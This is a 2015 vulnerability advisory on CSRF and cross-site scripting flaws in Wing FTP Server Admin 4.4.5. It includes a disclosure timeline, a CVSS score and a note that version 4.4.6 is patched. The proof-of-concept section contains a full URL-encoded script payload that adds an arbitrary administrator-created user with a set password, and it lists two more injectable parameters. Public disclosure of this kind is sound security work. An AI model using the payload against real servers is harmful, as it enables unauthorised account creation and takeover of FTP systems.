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Document Title: =============== Wing FTP Server Admin 4.4.5 - CSRF & Cross Site Scripting Vulnerabilities Release Date: ============= 2015-04-28 apparitionsec ID (AS-ID): ==================================== AS-WFTP0328 Common Vulnerability Scoring System: ==================================== Overall CVSS Score 8.9 Product: =============================== Wing FTP Server is a Web based administration FTP client that supports following protocols FTP, FTPS, HTTPS, SSH Advisory Information: ============================== Security researcher John Page discovered a CSRF & client-side cross site scripting web vulnerability within Wing FTP Server Admin that allows adding arbitrary users to the system. Vulnerability Disclosure Timeline: ================================== March 28, 2015: Vendor Notification March 28, 2015: Vendor Response/Feedback April 19, 2015: Vendor Notification April 28, 2015: Vendor released new patched version 4.4.6 April 28, 2015: Public Disclosure - John Page Affected Product(s): ==================== Wing FTP Server Admin 4.4.5 Product: Wing FTP Server - Admin Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Request Method(s): [+] POST & GET Vulnerable Product: [+] Wing FTP Server Admin 4.4.5 Vulnerable Parameter(s): [+] domain & type Affected Area(s): [+] Server Admin Proof of Concept (POC): ======================= The CSRF and client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction (click). Payload will add arbitrary users to the system. POC: Example http://localhost:5466/admin_loglist.html?domain=[CSRF & XSS VULNERABILITIES] POC: Payload(s) Add arbitrary user to the system: http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemas ks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E POC XSS: http://localhost:5466/admin_viewstatus.html?domain= POC XSS: http://localhost:5466/admin_event_list.html?type= Solution - Fix & Patch: ======================= Vendor released updated version 4.4.6 Fix/Patch (Wing FTP Server) Security Risk: ============== The security risk of the CSRF client-side cross site scripting web vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9 Credits & Authors: ================== John Page ( hyp3rlinx ) - ISR godz @Apparitionsec Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. the security research reporter John Page disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. apparitionsec or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages. Domains: hyp3rlinx.altervista.org Source: http://dl.packetstormsecurity.net/1504-exploits/AS-WFTP0328.txt